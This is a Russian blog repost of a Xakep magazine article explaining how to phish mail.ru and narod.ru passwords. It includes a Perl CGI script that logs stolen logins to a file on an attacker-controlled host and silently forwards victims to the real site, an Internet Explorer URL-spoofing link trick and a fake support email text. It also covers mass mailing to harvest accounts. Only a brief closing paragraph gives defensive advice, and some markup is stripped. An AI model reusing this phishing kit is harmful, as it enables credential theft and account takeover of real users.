Дневник Оптимиста

Интересный блог без рекламы

мая
29

Будьте внимательнее!

Автор: Ptah

Написано Епанделин Оригинальное сообщение На злобу дня про маилю.ру

URL-spoofing как средство взлома

Ты никогда не думал, как хакеры могут выдирать пароли от почтовых ящиков? Как они получают к ним доступ? Задумывался ли ты о том, что хакеры могут выманить пароль у тебя самого, и при этом ты даже не заметишь, что что-то произошло? Нет? А такое вполне вероятно. Не веришь – читай дальше.

Механизм авторизации на mail.ru

Представь себе следующую ситуацию. Ты пользуешься бесплатной почтовой службой mail.ru и знаешь, что о безопасности твоего mail-box’a позаботятся грамотные админы этого сервиса. На всякий пожарный ты никогда нигде не сохраняешь пароль, чтобы случайный взломщик, захаксоривший твою тачку (не дай Бог, конечно), оказался в обломе. И вот однажды ты получаешь письмо от службы поддержки с просьбой пройти повторную авторизацию. Ничего не подозревая, ты в очередной раз логинишься на mail.ru и через некоторое время замечаешь, что твоей почтой кто-то рулит: читает твои письма и пишет всякие гадости от твоего имени. Как же такое могло произойти? Ведь ты поставил восьмисимвольный пароль ‘j87$*#2l’!

Итак, рассмотрим действия хакера, с помощью которых он сможет получить акцес к твоей почте.

Сначала он заходит на mail.ru и сохраняет главную страницу к себе на хард. Потом регает где-нибудь сайт, заливает свежескачанную страницу себе на сервер. Представим, что взломщик порегал сайт http://mailru.nsd.ru. Теперь его пага – это копия mail.ru. Если залогиниться на этой странице, то логин с паролем перешлются на mail.ru, а мы попадем в свой почтовый ящик.

Давай посмотрим, как же выглядит сама форма авторизации в виде html:

HTML-форма

http://win.mail.ru/cgi-bin/auth>

Мы видим, что данные, которые юзер введет в форму, отправляются методом POST скрипту http://win.mail.ru/cgi-bin/auth. А что произойдет, если он вдруг подставит туда URL своего скрипта? Например, что-нибудь вроде http://mailru.nsd.ru/cgi-bin/auth.cgi? Ясень пень, тогда логин и пароль перешлются не на mail.ru, а уже прямо скрипту хакера! Чуешь, чем это пахнет?

Рассмотрим этот самый скрипт auth.cgi, которым воспользуется хакер для успешного приема логина и пароля от пользователя.

Как он работает. Скрипт получает необходимые данные, сохраняет их в отдельный файл, а потом посылает юзера с его логином и паролем на настоящий сценарий авторизации (http://win.mail.ru/cgi-bin/auth). В итоге, пользователь, ничего не замечая, успешно попадает в свой почтовый ящик. Но фишка в том, что логин с паролем останутся у хакера! А вот сам исходник скрипта:

Исходник скрипта-авторизации

#!/usr/bin/perl

&parse_form;

# открываем файл log.txt для добавления инфы

open LOG,”>>../log.txt”;

# записываем туда логин и пароль от ящика

print LOG “$FORM{’Login’} @ $FORM{’Domain’}, pass:$FORM{’Password’}\n”;

# закрываем файл

close LOG;

# все, пароль сперт!

# теперь перекидываем на mail.ru:

print “Content-Type: text/html\n\n”;

print “\n”;

# создаем ту же форму, что и на настоящем mail.ru

print “

http://win.mail.ru/cgi-bin/auth>\n”;

print “
\n”;

print “
\n”;

print “
\n”;

print “
\n”;

print “
\n”;

print “
\n”;

print “
\n”;

# без участия пользователя жмем на невидимую кнопку submit =)

print “\n”;

print “\n”;

print “\n”;

Собственно, вот и весь скрипт сетевого подонка. Теперь хакер заливает его в диру cgi-bin, не забывая при этом поставить соответствующий chmod (755). Далее он меняет на своей странице экшен формы: строку

http://win.mail.ru/cgi-bin/auth> на
http://mailru.nsd.ru/cgi-bin/auth.cgi>, чтобы пароль отправлялся его скрипту.

Превращение mailru.nsd.ru в mail.ru

Все это здорово, но в адресной строке по-прежнему остается http://mailru.nsd.ru. Это трудно не заметить :). Надо что-то делать. Можно, конечно, вообще убрать строку адреса с помощью JavaScript’a, но лучше поискать более подходящую альтернативу. Посмотрим на последние новости bug-traq, связанные с Internet Explorer’ом:

URL spoofing

Адрес с описанием ошибки: www.securitylab.ru/41661.html

Уязвимость обнаружена в Internet Explorer. Злонамеренный пользователь может отобразить поддельный URL в адресной строке. А именно включить “%01″ после имени пользователя и справа перед символом “@” в URL, чтобы заставить браузер отобразить в адресной строке неправильный FQDN, отличный от запрашиваемого домена.

Решение: способов устранения обнаруженной уязвимости в настоящее время не существует.

Пользуясь этим подарочком от мелкомягких, хаксор может заманить жертву на страницу с поддельной ссылкой на mail.ru (собственно говоря, так можно заманить вообще куда угодно – прим. ред.).

Также сетевой подонок может написать жертве письмо в формате html от имени службы поддержки mail.ru:

Form: Служба поддержки пользователей почтовой системы Mail.Ru

To:

Subj: Изменения в работе почтовой службы Mail.ru

Уважаемый пользователь!

В программном обеспечении сервера было произведено изменение, в связи с чем Вам необходимо пройти повторную веб-авторизацию на почтовом сервере mail.ru.

http://mail.ru‘;location.href=unescape(’http://mail.ru%01@mailru.nsd.ru’);return true;”

onMouseOut=”location.href=unescape(’http://mail.ru%01@mailru.nsd.ru’);”>http://mail.ru

В итоге, при наведении на ссылку в строке статуса отобразится урл http://mail.ru и откроется окно с левым mail.ru (в нашем случае – mail.nsd.ru), причем в строке адреса опять будет написан тот же mail.ru.

Сбор урожая

После отправки подобного письма хакеру остается лишь подождать, когда же лопоухий юзверь “пройдет повторную авторизацию”. В случае успеха в файле http://mailru.nsd.ru/log.txt появится новая запись с логином и паролем.

Как ты, наверное, понимаешь, таким способом можно ломать не только почтовые сервисы, но и аккаунты пользователей хостингов. Возьмем для примера популярный бесплатный хостинг narod.ru. Достаточно скопировать страницу с формой ввода пароля и в форме LoginForm вместо action=http://passport.yandex.ru/cgi-bin/Reg.pl?mode=auth&retpath=http://narod.yandex.ru/userarea/after_register.xhtml указать адрес левого скрипта (action=http://nsd.ru/cgi-bin/narod-auth.cgi). Осталось сделать массовую рассылку писем с просьбой заново залогиниться, чтобы получить кучу аккаунтов от различных пользователей.

Как от этого защититься?

Чтобы защититься от такого вида социальной инженерии, надо учиться на чужих ошибках и всегда задумываться, а не хотят ли кинуть тебя. Так что будь начеку. И если кто-то вдруг предложит зайти на некий сайт, лишний раз подумай, нет ли там какой-нибудь подставы. Также не стоит юзать осла (MSIE). Лучше поставь какой-нибудь менее распространенный браузер, где хакеры еще не отловили много багов. Могу посоветовать два браузера: Opera (www.opera.com) и Mozilla (www.mozilla.org).

Выводы

А выводы весьма печальные. Ошибки в IE обнаруживаются чуть ли не каждый день. И вряд ли их станет меньше. К тому же недавно выложили часть сорсов win2k. Теперь багокопатели заработают еще жестче. А юзеры, по своей лени или тупости, будут по-прежнему забывать ставить заплатки, что в итоге приведет к появлению в Сети тысяч потенциальных жертв. И, естественно, их кто-нибудь будет ломать. Так что мой тебе совет: всегда следи за новыми ошибками, патчи себя и будь бдителен! Не дай себя обмануть!

Как можно послать письмо в формате html

Намылить письмо в виде произвольной html-страницы не так просто, как кажется на первый взгляд. Дело в том, что далеко не все почтовые софтины позволяют это делать. Однако написать скрипт, позволяющий отсылать любые html’ники, гораздо проще. Разница между простым текстовым письмом и форматированным лишь в том, что в заголовке письма, а конкретно в поле Content-Type стоит значение text/plain вместо text/html.

Вот PHP-cкрипт для отправки мыла в хтмл-формате:

CD

На нашем диске лежат все описанные скрипты и HTML-формы.

INFO

В Internet Explorer’е присутствует множество других ошибок, которые могут привести к угону чужих аккаунтов. Например, ошибки в CSS. Об этой баге читай статью в этом же номере.

Xakep, номер #063, стр. 063-064-4

Буду вам очень признателен, если поделитесь ссылкой на статью в социальных сетях:

Эта запись опубликована Четверг, Май 29th, 2008 at 4:46 в категориях Новости. Вы можете следить за комментариями через RSS 2.0 feed.

Если Вам понравилась статья, то Вы можете получать новые материалы ptah-blog.com по RSS, присоединиться ко мне на твиттере или просто получать обновления блога на e-mail.

Добавить комментарий